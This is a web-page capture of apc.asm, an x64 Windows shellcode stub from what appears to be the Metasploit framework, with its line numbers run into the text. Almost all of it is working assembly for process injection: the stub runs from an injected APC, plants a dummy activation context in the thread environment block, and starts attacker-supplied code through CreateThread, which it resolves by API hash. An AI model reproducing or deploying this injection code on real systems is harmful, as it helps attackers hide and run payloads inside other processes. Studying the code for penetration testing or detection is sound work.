Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/windows/x64/src/migrate/apc.asm
Views: 11791
;-----------------------------------------------------------------------------;1; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)2; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT43; Architecture: x644; Version: 2.0 (March 2010)5; Size: 323 bytes6; Build: >build.py apc7;-----------------------------------------------------------------------------;89; A small stub to be used for thread injection where we gain execution via an injected APC. See the10; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_inject.c" for more details1112;typedef struct _APCCONTEXT13;{14; union15; {16; LPVOID lpStartAddress;17; BYTE bPadding1[8];18; } s;19; union20; {21; LPVOID lpParameter;22; BYTE bPadding2[8];23; } p;24; BYTE bExecuted;25;} APCCONTEXT, * LPAPCCONTEXT;2627[BITS 64]28[ORG 0]2930cld ; Clear the direction flag.31cmp byte [rcx+16], 0 ; Has this context allready been injected? 'if( ctx->bExecuted == FALSE )'32jne cleanup ; If so just leave this APC33mov byte [rcx+16], 1 ; Otherwise mark the context as executed and proceed34sub rsp, 120 ; Alloc some space on stack35call start ; Call start, this pushes the address of 'api_call' onto the stack.36delta: ;37%include "./src/block/block_api.asm" ;38start: ;39pop rbp ; Pop off the address of 'api_call' for calling later.40xor rdx, rdx ; zero RDX41mov rax, [gs:rdx+48] ; Get the current TEB42cmp qword [rax+712], rdx ; Is the TEB ActivationContextStackPointer pointer NULL?43jne continue ; If there already is an ActivationContext structure setup, just continue44lea rdx, [rbp+context-delta] ; calculate the address of our dummy ActivationContext45mov qword [rax+712], rdx ; and set the address of our dummy ActivationContext in the current TEB46continue:47mov r8, [rcx] ; r8 = ctx->lpStartAddress48mov r9, [rcx+8] ; r9 = ctx->lpParameter49xor rcx, rcx ; Clear ECX, lpThreadAttributes50xor rdx, rdx ; Clear EDX, dwStackSize51push rcx ; lpThreadId52push rcx ; dwCreationFlags53mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )54call rbp ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );55add rsp, (120 + 32 + (8*2)) ; fix up stack (120 bytes we alloced, 32 bytes for the single call to api_call, and 2*8 bytes for the two params we pushed).56cleanup:57ret ; Return and finish our APC routine.58context:59TIMES 0x24 db 0 ; An empty ntdll!_ACTIVATION_CONTEXT_STACK structure6061